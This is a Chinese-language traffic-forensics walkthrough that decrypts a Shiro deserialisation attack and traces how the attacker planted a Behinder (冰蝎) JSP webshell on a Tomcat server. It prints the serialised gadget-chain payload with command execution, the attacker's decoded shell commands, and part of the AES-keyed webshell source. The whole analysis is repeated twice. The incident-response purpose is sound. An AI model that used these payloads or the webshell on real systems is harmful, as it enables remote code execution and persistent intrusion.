流量分析之shiro、behinder
shiro流量解密
流量分析涉及Shiro和Behinder，揭示了HTTP流量模式。Shiro的Cookie值经过AES和Base64双重加密，可使用特定工具（如BTEAM-SHIRODECRYPTER）解密。分析中提到了使用TOP100密钥进行解密，并展示了部分解密内容，其中包括命令执行，如c: cmd.exe。关注点在于通过筛查包含"/admin/"的HTTP请求，追踪可能的黑客攻击。解密内容显示攻击者尝试在/docs/3.jsp写入webshell。通过进一步的流量筛选和解密，例如使用工具DecodeSomeJSPWebshell，可以反编译JSP webshell，理解攻击者执行的具体操作。
流量分析之shiro、behinder
shiro流量解密
shiro的cookie值会很长，一般分析会直接筛查Lenght长度
shiro的cookie主要是AES→base64双层加密，用下面这个工具，就可以直接解出来cookie的内容
解密内容如下
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_bytecodest[[B[_classq~L_nametLjava/lang/String;L_outputPropertiestLjava/util/Properties;xp����ur[[BK�gg�7xpur[B�T�xp 问�3�x/Test559794544911020java/lang/Object
SourceFileTest559794544911020.java<init>()V
<org/springframework/web/context/request/RequestContextHoldergetRequestAttributes=()Lorg/springframework/web/context/request/RequestAttributes;
@org/springframework/web/context/request/ServletRequestAttributes
getRequest)()Ljavax/servlet/http/HttpServletRequest;
getResponse*()Ljavax/servlet/http/HttpServletResponse;
techo%javax/servlet/http/HttpServletRequest getHeader&(Ljava/lang/String;)Ljava/lang/String; !java/lang/String#isEmpty()Z%&
$'&javax/servlet/http/HttpServletResponse) addHeader'(Ljava/lang/String;Ljava/lang/String;)V+,*-javax/servlet/ServletResponse/ getWriter()Ljava/io/PrintWriter;1203java/io/PrintWriter5flush7
68close:
6;c=org/apache/shiro/codec/Base64?decodeToStringA
@Bos.nameDjava/lang/SystemFgetPropertyH
GItoLowerCase()Ljava/lang/String;KL
$MwindowsOcontains(Ljava/lang/CharSequence;)ZQR
$Scmd.exeU/cW/bin/shY-c[java/util/Scanner]java/lang/ProcessBuilder_([Ljava/lang/String;)Va
`bstart()Ljava/lang/Process;de
`fjava/lang/ProcesshgetInputStream()Ljava/io/InputStream;jk
il(Ljava/io/InputStream;)Vn
^o\AquseDelimiter'(Ljava/lang/String;)Ljava/util/Scanner;st
^unextwL
^xgetBytes()[Bz{
$|~encodeToString([B)Ljava/lang/String;��
@�java/lang/StringBuffer�
� $$$�append,(Ljava/lang/String;)Ljava/lang/StringBuffer;��
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重点关注的地方
c=org/apache/shiro/codec/Base64?decodeToStringA c进行base64加密的密文传参
$Scmd.exeU/cW/bin/shY-c[java/util/Scanner]java/lang/ProcessBuilder_([Ljava/lang/String;)Va
`bstart()Ljava/lang/Process;de ProcessBuilder去进行命令执行
通过分析筛查 c: 的传参 搜索黑客攻击都做了什么操作
http && http contains “/admin/” && ip.src ==10.7.7.7
把c： 所有命令执行base64加密的值复制出来
c: d2hvYW1p
c: cHMgLWF1eCB8IGdyZXAgdG9tY2F0
c: bHMgLWFsIC9yb290L2FwYWNoZS10b21jYXQtOC41LjY2
c: bHMgLWFsIC9yb290L2FwYWNoZS10b21jYXQtOC41LjY2L3dlYmFwcHMvZG9jcw==
c: ZWNobyAxMjMgPiAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzEudHh0
c: ZWNobyBQQ1ZBY0dGblpTQnBiWEJ2Y25ROUltcGhkbUV1ZFhScGJDNHFMR3BoZG1GNExtTnllWEIwYnk0cUxHcGhkbUY0TG1OeWVYQjBieTV6Y0dWakxpb2lKVDQ4SlNGamJHRnpjeUJWSUdWNGRHVnVaSE1nUTJ4aGMzTk1iMkZrWlhKN1ZTaERiR0Z6YzB4dllXUmxjaUJqS1h0emRYQmxjaWhqS1R0OWNIVmliR2xqSUVOc1lYTnpJR2NvWW5sMFpTQmJYV0lwZTNKbGRIVnliaUJ6ZFhCbGNpNWtaV1pwYm1WRGJHRnpjeWhpTERBc1lpNXNaVzVuZEdncE8zMTlKVDQ4SldsbUlDaHlaWEYxWlhOMExtZGxkRTFsZEdodlpDZ3BMbVZ4ZFdGc2N5Z2lVRTlUVkNJcEtYdFRkSEpwYm1jZ2F6MGlNakF5WTJJNU5qSmhZelU1TURjMVlpSTdMeXJvcjZYbHI0YnBrcVhrdUxyb3Y1N21qcVhscjRibm9JRXpNdVM5alcxa05lV0F2T2VhaE9XSmpURTI1TDJONzd5TTZidVk2SzZrNkwrZTVvNmw1YStHNTZDQk1USXpLaTl6WlhOemFXOXVMbkIxZEZaaGJIVmxLQ0oxSWl4cktUcz0gPiAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzEuanNw
c: ZWNobyBRMmx3YUdWeUlHTTlRMmx3YUdWeUxtZGxkRWx1YzNSaGJtTmxLQ0pCUlZNaUtUdGpMbWx1YVhRb01peHVaWGNnVTJWamNtVjBTMlY1VTNCbFl5aHJMbWRsZEVKNWRHVnpLQ2tzSWtGRlV5SXBLVHR1WlhjZ1ZTaDBhR2x6TG1kbGRFTnNZWE56S0NrdVoyVjBRMnhoYzNOTWIyRmtaWElvS1NrdVp5aGpMbVJ2Um1sdVlXd29ibVYzSUhOMWJpNXRhWE5qTGtKQlUwVTJORVJsWTI5a1pYSW9LUzVrWldOdlpHVkNkV1ptWlhJb2NtVnhkV1Z6ZEM1blpYUlNaV0ZrWlhJb0tTNXlaV0ZrVEdsdVpTZ3BLU2twTG01bGQwbHVjM1JoYm1ObEtDa3VaWEYxWVd4ektIQmhaMlZEYjI1MFpYaDBLVHQ5SlQ0PSA+PiAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzEuanNw
c: ZWNobyAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzEuanNwIHwgYmFzZTY0IC1kID4gL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzIuanNw
c: ZWNobyAgIFBDVkFjR0ZuWlNCcGJYQnZjblE5SW1waGRtRXVkWFJwYkM0cUxHcGhkbUY0TG1OeWVYQjBieTRxTEdwaGRtRjRMbU55ZVhCMGJ5NXpjR1ZqTGlvaUpUNDhKU0ZqYkdGemN5QlZJR1Y0ZEdWdVpITWdRMnhoYzNOTWIyRmtaWEo3VlNoRGJHRnpjMHh2WVdSbGNpQmpLWHR6ZFhCbGNpaGpLVHQ5Y0hWaWJHbGpJRU5zWVhOeklHY29ZbmwwWlNCYlhXSXBlM0psZEhWeWJpQnpkWEJsY2k1a1pXWnBibVZEYkdGemN5aGlMREFzWWk1c1pXNW5kR2dwTzMxOUpUNDhKV2xtSUNoeVpYRjFaWE4wTG1kbGRFMWxkR2h2WkNncExtVnhkV0ZzY3lnaVVFOVRWQ0lwS1h0VGRISnBibWNnYXowaU1qQXlZMkk1TmpKaFl6VTVNRGMxWWlJN0x5cm9yNlhscjRicGtxWGt1THJvdjU3bWpxWGxyNGJub0lFek11UzlqVzFrTmVXQXZPZWFoT1dKalRFMjVMMk43N3lNNmJ1WTZLNms2TCtlNW82bDVhK0c1NkNCTVRJektpOXpaWE56YVc5dUxuQjFkRlpoYkhWbEtDSjFJaXhyS1RzPSAgPiAvcm9vdC9hcGFjaGUtdG9tY2F0LTguNS42Ni93ZWJhcHBzL2RvY3MvMS50eHQ=
c: ZWNobyAgIFEybHdhR1Z5SUdNOVEybHdhR1Z5TG1kbGRFbHVjM1JoYm1ObEtDSkJSVk1pS1R0akxtbHVhWFFvTWl4dVpYY2dVMlZqY21WMFMyVjVVM0JsWXlockxtZGxkRUo1ZEdWektDa3NJa0ZGVXlJcEtUdHVaWGNnVlNoMGFHbHpMbWRsZEVOc1lYTnpLQ2t1WjJWMFEyeGhjM05NYjJGa1pYSW9LU2t1WnloakxtUnZSbWx1WVd3b2JtVjNJSE4xYmk1dGFYTmpMa0pCVTBVMk5FUmxZMjlrWlhJb0tTNWtaV052WkdWQ2RXWm1aWElvY21WeGRXVnpkQzVuWlhSU1pXRmtaWElvS1M1eVpXRmtUR2x1WlNncEtTa3BMbTVsZDBsdWMzUmhibU5sS0NrdVpYRjFZV3h6S0hCaFoyVkRiMjUwWlhoMEtUdDlKVDQ9ID4+IC9yb290L2FwYWNoZS10b21jYXQtOC41LjY2L3dlYmFwcHMvZG9jcy8xLnR4dA==
c: ZWNobyAgIC9yb290L2FwYWNoZS10b21jYXQtOC41LjY2L3dlYmFwcHMvZG9jcy8xLnR4dCB8IGJhc2U2NCAtZCA+ICAvcm9vdC9hcGFjaGUtdG9tY2F0LTguNS42Ni93ZWJhcHBzL2RvY3MvMy5qc3A=
c: ZWNobyAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzMuanNw
c: Y2F0ICAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzEudHh0IHwgYmFzZTY0IC1kID4gL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzMuanNw
直接批量解密 可以发现攻击者命令执行的操作，就是在docs/3.jsp写入webshell
c: whoami
c: ps -aux | grep tomcat
c: ls -al /root/apache-tomcat-8.5.66
c: ls -al /root/apache-tomcat-8.5.66/webapps/docs
c: echo 123 > /root/apache-tomcat-8.5.66/webapps/docs/1.txt
c: echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iMjAyY2I5NjJhYzU5MDc1YiI7Lyror6Xlr4bpkqXkuLrov57mjqXlr4bnoIEzMuS9jW1kNeWAvOeahOWJjTE25L2N77yM6buY6K6k6L+e5o6l5a+G56CBMTIzKi9zZXNzaW9uLnB1dFZhbHVlKCJ1IixrKTs= > /root/apache-tomcat-8.5.66/webapps/docs/1.jsp
c: echo Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= >> /root/apache-tomcat-8.5.66/webapps/docs/1.jsp
c: echo /root/apache-tomcat-8.5.66/webapps/docs/1.jsp | base64 -d > /root/apache-tomcat-8.5.66/webapps/docs/2.jsp
c: echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iMjAyY2I5NjJhYzU5MDc1YiI7Lyror6Xlr4bpkqXkuLrov57mjqXlr4bnoIEzMuS9jW1kNeWAvOeahOWJjTE25L2N77yM6buY6K6k6L+e5o6l5a+G56CBMTIzKi9zZXNzaW9uLnB1dFZhbHVlKCJ1IixrKTs= > /root/apache-tomcat-8.5.66/webapps/docs/1.txt
c: echo Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= >> /root/apache-tomcat-8.5.66/webapps/docs/1.txt
c: echo /root/apache-tomcat-8.5.66/webapps/docs/1.txt | base64 -d > /root/apache-tomcat-8.5.66/webapps/docs/3.jsp
c: echo /root/apache-tomcat-8.5.66/webapps/docs/3.jsp
c: cat /root/apache-tomcat-8.5.66/webapps/docs/1.txt | base64 -d > /root/apache-tomcat-8.5.66/webapps/docs/3.jsp
其中3.jsp解码后，可以看出来是冰歇马，加密的key 202cb962ac59075b
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="202cb962ac59075b";session.putValue("u",k);
冰歇流量解密
对3.jsp进行流量筛选，对post内容进行流量分析
用的是这个工具
https://github.com/minhangxiaohui/DecodeSomeJSPWebshell
把class文件拉进idea或者jadx反编译，可以直接看到java代码，就可以分析出来攻击者通过webshell做了什么操作从而进行应急排查。
shiro的cookie值会很长，一般分析会直接筛查Lenght长度
shiro的cookie主要是AES→base64双层加密，用下面这个工具，就可以直接解出来cookie的内容
解密内容如下
鑬{�嗴))�?/I垃�sr2sun.reflect.annotation.AnnotationInvocationHandlerU术藒�LmemberValuestLjava/util/Map;LtypetLjava/lang/Class;xps}java.util.Mapxrjava.lang.reflect.Proxy�'� �C�Lht%Ljava/lang/reflect/InvocationHandler;xpsq~sr*org.apache.commons.collections.map.LazyMapn鍞倿y�Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.collections.functors.ChainedTransformer0菞�(z�[iTransformerst-[Lorg/apache/commons/collections/Transformer;xpur-[Lorg.apache.commons.collections.Transformer;絍*褙4�xpsr;org.apache.commons.collections.functors.ConstantTransformerXv�A睌L iConstanttLjava/lang/Object;xpvr7com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilterxpsr>org.apache.commons.collections.functors.InstantiateTransformer4嬼�;[iArgst[Ljava/lang/Object;[iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;愇X�s)lxpsr:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl WO羘3I_indentNumberI_transletIndex[
_bytecodest[[B[_classq~L_nametLjava/lang/String;L_outputPropertiestLjava/util/Properties;xp����ur[[BK�gg�7xpur[B�T�xp 问�3�x/Test559794544911020java/lang/Object
SourceFileTest559794544911020.java<init>()V
<org/springframework/web/context/request/RequestContextHoldergetRequestAttributes=()Lorg/springframework/web/context/request/RequestAttributes;
@org/springframework/web/context/request/ServletRequestAttributes
getRequest)()Ljavax/servlet/http/HttpServletRequest;
getResponse*()Ljavax/servlet/http/HttpServletResponse;
techo%javax/servlet/http/HttpServletRequest getHeader&(Ljava/lang/String;)Ljava/lang/String; !java/lang/String#isEmpty()Z%&
$'&javax/servlet/http/HttpServletResponse) addHeader'(Ljava/lang/String;Ljava/lang/String;)V+,*-javax/servlet/ServletResponse/ getWriter()Ljava/io/PrintWriter;1203java/io/PrintWriter5flush7
68close:
6;c=org/apache/shiro/codec/Base64?decodeToStringA
@Bos.nameDjava/lang/SystemFgetPropertyH
GItoLowerCase()Ljava/lang/String;KL
$MwindowsOcontains(Ljava/lang/CharSequence;)ZQR
$Scmd.exeU/cW/bin/shY-c[java/util/Scanner]java/lang/ProcessBuilder_([Ljava/lang/String;)Va
`bstart()Ljava/lang/Process;de
`fjava/lang/ProcesshgetInputStream()Ljava/io/InputStream;jk
il(Ljava/io/InputStream;)Vn
^o\AquseDelimiter'(Ljava/lang/String;)Ljava/util/Scanner;st
^unextwL
^xgetBytes()[Bz{
$|~encodeToString([B)Ljava/lang/String;��
@�java/lang/StringBuffer�
� $$$�append,(Ljava/lang/String;)Ljava/lang/StringBuffer;��
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��write(Ljava/lang/String;)V��
6�java/lang/Exception�java/lang/Throwable�getStackTrace ()[Ljava/lang/StackTraceElement;��
��Code
Exceptions9org/springframework/web/context/request/RequestAttributes�[Ljava/lang/String;�StackMapTable@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet�
� !��s*�ジL+��M+��N,�":��(��-�.-�4�9-�4�<,>�":��(����C:E�J�NP�T��$YVSYXSYS��$YZSY\SYS:�^Y�`Y�c�g�m�pr�v�y�}:: ��: -�4�匶��埗� ��埗尪彾�-�4�9-�4�<�:
�沇����<
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loadFactorI thresholdxp?@wxxvrjava.lang.Overridexpq~-
重点关注的地方
c=org/apache/shiro/codec/Base64?decodeToStringA c进行base64加密的密文传参
$Scmd.exeU/cW/bin/shY-c[java/util/Scanner]java/lang/ProcessBuilder_([Ljava/lang/String;)Va
`bstart()Ljava/lang/Process;de ProcessBuilder去进行命令执行
通过分析筛查 c: 的传参 搜索黑客攻击都做了什么操作
http && http contains “/admin/” && ip.src ==10.7.7.7
把c： 所有命令执行base64加密的值复制出来
c: d2hvYW1p
c: cHMgLWF1eCB8IGdyZXAgdG9tY2F0
c: bHMgLWFsIC9yb290L2FwYWNoZS10b21jYXQtOC41LjY2
c: bHMgLWFsIC9yb290L2FwYWNoZS10b21jYXQtOC41LjY2L3dlYmFwcHMvZG9jcw==
c: ZWNobyAxMjMgPiAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzEudHh0
c: ZWNobyBQQ1ZBY0dGblpTQnBiWEJ2Y25ROUltcGhkbUV1ZFhScGJDNHFMR3BoZG1GNExtTnllWEIwYnk0cUxHcGhkbUY0TG1OeWVYQjBieTV6Y0dWakxpb2lKVDQ4SlNGamJHRnpjeUJWSUdWNGRHVnVaSE1nUTJ4aGMzTk1iMkZrWlhKN1ZTaERiR0Z6YzB4dllXUmxjaUJqS1h0emRYQmxjaWhqS1R0OWNIVmliR2xqSUVOc1lYTnpJR2NvWW5sMFpTQmJYV0lwZTNKbGRIVnliaUJ6ZFhCbGNpNWtaV1pwYm1WRGJHRnpjeWhpTERBc1lpNXNaVzVuZEdncE8zMTlKVDQ4SldsbUlDaHlaWEYxWlhOMExtZGxkRTFsZEdodlpDZ3BMbVZ4ZFdGc2N5Z2lVRTlUVkNJcEtYdFRkSEpwYm1jZ2F6MGlNakF5WTJJNU5qSmhZelU1TURjMVlpSTdMeXJvcjZYbHI0YnBrcVhrdUxyb3Y1N21qcVhscjRibm9JRXpNdVM5alcxa05lV0F2T2VhaE9XSmpURTI1TDJONzd5TTZidVk2SzZrNkwrZTVvNmw1YStHNTZDQk1USXpLaTl6WlhOemFXOXVMbkIxZEZaaGJIVmxLQ0oxSWl4cktUcz0gPiAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzEuanNw
c: ZWNobyBRMmx3YUdWeUlHTTlRMmx3YUdWeUxtZGxkRWx1YzNSaGJtTmxLQ0pCUlZNaUtUdGpMbWx1YVhRb01peHVaWGNnVTJWamNtVjBTMlY1VTNCbFl5aHJMbWRsZEVKNWRHVnpLQ2tzSWtGRlV5SXBLVHR1WlhjZ1ZTaDBhR2x6TG1kbGRFTnNZWE56S0NrdVoyVjBRMnhoYzNOTWIyRmtaWElvS1NrdVp5aGpMbVJ2Um1sdVlXd29ibVYzSUhOMWJpNXRhWE5qTGtKQlUwVTJORVJsWTI5a1pYSW9LUzVrWldOdlpHVkNkV1ptWlhJb2NtVnhkV1Z6ZEM1blpYUlNaV0ZrWlhJb0tTNXlaV0ZrVEdsdVpTZ3BLU2twTG01bGQwbHVjM1JoYm1ObEtDa3VaWEYxWVd4ektIQmhaMlZEYjI1MFpYaDBLVHQ5SlQ0PSA+PiAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzEuanNw
c: ZWNobyAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzEuanNwIHwgYmFzZTY0IC1kID4gL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzIuanNw
c: ZWNobyAgIFBDVkFjR0ZuWlNCcGJYQnZjblE5SW1waGRtRXVkWFJwYkM0cUxHcGhkbUY0TG1OeWVYQjBieTRxTEdwaGRtRjRMbU55ZVhCMGJ5NXpjR1ZqTGlvaUpUNDhKU0ZqYkdGemN5QlZJR1Y0ZEdWdVpITWdRMnhoYzNOTWIyRmtaWEo3VlNoRGJHRnpjMHh2WVdSbGNpQmpLWHR6ZFhCbGNpaGpLVHQ5Y0hWaWJHbGpJRU5zWVhOeklHY29ZbmwwWlNCYlhXSXBlM0psZEhWeWJpQnpkWEJsY2k1a1pXWnBibVZEYkdGemN5aGlMREFzWWk1c1pXNW5kR2dwTzMxOUpUNDhKV2xtSUNoeVpYRjFaWE4wTG1kbGRFMWxkR2h2WkNncExtVnhkV0ZzY3lnaVVFOVRWQ0lwS1h0VGRISnBibWNnYXowaU1qQXlZMkk1TmpKaFl6VTVNRGMxWWlJN0x5cm9yNlhscjRicGtxWGt1THJvdjU3bWpxWGxyNGJub0lFek11UzlqVzFrTmVXQXZPZWFoT1dKalRFMjVMMk43N3lNNmJ1WTZLNms2TCtlNW82bDVhK0c1NkNCTVRJektpOXpaWE56YVc5dUxuQjFkRlpoYkhWbEtDSjFJaXhyS1RzPSAgPiAvcm9vdC9hcGFjaGUtdG9tY2F0LTguNS42Ni93ZWJhcHBzL2RvY3MvMS50eHQ=
c: ZWNobyAgIFEybHdhR1Z5SUdNOVEybHdhR1Z5TG1kbGRFbHVjM1JoYm1ObEtDSkJSVk1pS1R0akxtbHVhWFFvTWl4dVpYY2dVMlZqY21WMFMyVjVVM0JsWXlockxtZGxkRUo1ZEdWektDa3NJa0ZGVXlJcEtUdHVaWGNnVlNoMGFHbHpMbWRsZEVOc1lYTnpLQ2t1WjJWMFEyeGhjM05NYjJGa1pYSW9LU2t1WnloakxtUnZSbWx1WVd3b2JtVjNJSE4xYmk1dGFYTmpMa0pCVTBVMk5FUmxZMjlrWlhJb0tTNWtaV052WkdWQ2RXWm1aWElvY21WeGRXVnpkQzVuWlhSU1pXRmtaWElvS1M1eVpXRmtUR2x1WlNncEtTa3BMbTVsZDBsdWMzUmhibU5sS0NrdVpYRjFZV3h6S0hCaFoyVkRiMjUwWlhoMEtUdDlKVDQ9ID4+IC9yb290L2FwYWNoZS10b21jYXQtOC41LjY2L3dlYmFwcHMvZG9jcy8xLnR4dA==
c: ZWNobyAgIC9yb290L2FwYWNoZS10b21jYXQtOC41LjY2L3dlYmFwcHMvZG9jcy8xLnR4dCB8IGJhc2U2NCAtZCA+ICAvcm9vdC9hcGFjaGUtdG9tY2F0LTguNS42Ni93ZWJhcHBzL2RvY3MvMy5qc3A=
c: ZWNobyAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzMuanNw
c: Y2F0ICAgL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzEudHh0IHwgYmFzZTY0IC1kID4gL3Jvb3QvYXBhY2hlLXRvbWNhdC04LjUuNjYvd2ViYXBwcy9kb2NzLzMuanNw
直接批量解密 可以发现攻击者命令执行的操作，就是在docs/3.jsp写入webshell
c: whoami
c: ps -aux | grep tomcat
c: ls -al /root/apache-tomcat-8.5.66
c: ls -al /root/apache-tomcat-8.5.66/webapps/docs
c: echo 123 > /root/apache-tomcat-8.5.66/webapps/docs/1.txt
c: echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iMjAyY2I5NjJhYzU5MDc1YiI7Lyror6Xlr4bpkqXkuLrov57mjqXlr4bnoIEzMuS9jW1kNeWAvOeahOWJjTE25L2N77yM6buY6K6k6L+e5o6l5a+G56CBMTIzKi9zZXNzaW9uLnB1dFZhbHVlKCJ1IixrKTs= > /root/apache-tomcat-8.5.66/webapps/docs/1.jsp
c: echo Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= >> /root/apache-tomcat-8.5.66/webapps/docs/1.jsp
c: echo /root/apache-tomcat-8.5.66/webapps/docs/1.jsp | base64 -d > /root/apache-tomcat-8.5.66/webapps/docs/2.jsp
c: echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iMjAyY2I5NjJhYzU5MDc1YiI7Lyror6Xlr4bpkqXkuLrov57mjqXlr4bnoIEzMuS9jW1kNeWAvOeahOWJjTE25L2N77yM6buY6K6k6L+e5o6l5a+G56CBMTIzKi9zZXNzaW9uLnB1dFZhbHVlKCJ1IixrKTs= > /root/apache-tomcat-8.5.66/webapps/docs/1.txt
c: echo Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= >> /root/apache-tomcat-8.5.66/webapps/docs/1.txt
c: echo /root/apache-tomcat-8.5.66/webapps/docs/1.txt | base64 -d > /root/apache-tomcat-8.5.66/webapps/docs/3.jsp
c: echo /root/apache-tomcat-8.5.66/webapps/docs/3.jsp
c: cat /root/apache-tomcat-8.5.66/webapps/docs/1.txt | base64 -d > /root/apache-tomcat-8.5.66/webapps/docs/3.jsp
其中3.jsp解码后，可以看出来是冰歇马，加密的key 202cb962ac59075b
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="202cb962ac59075b";session.putValue("u",k);
冰歇流量解密
对3.jsp进行流量筛选，对post内容进行流量分析
用的是这个工具
https://github.com/minhangxiaohui/DecodeSomeJSPWebshell
把class文件拉进idea或者jadx反编译，可以直接看到java代码，就可以分析出来攻击者通过webshell做了什么操作从而进行应急排查。
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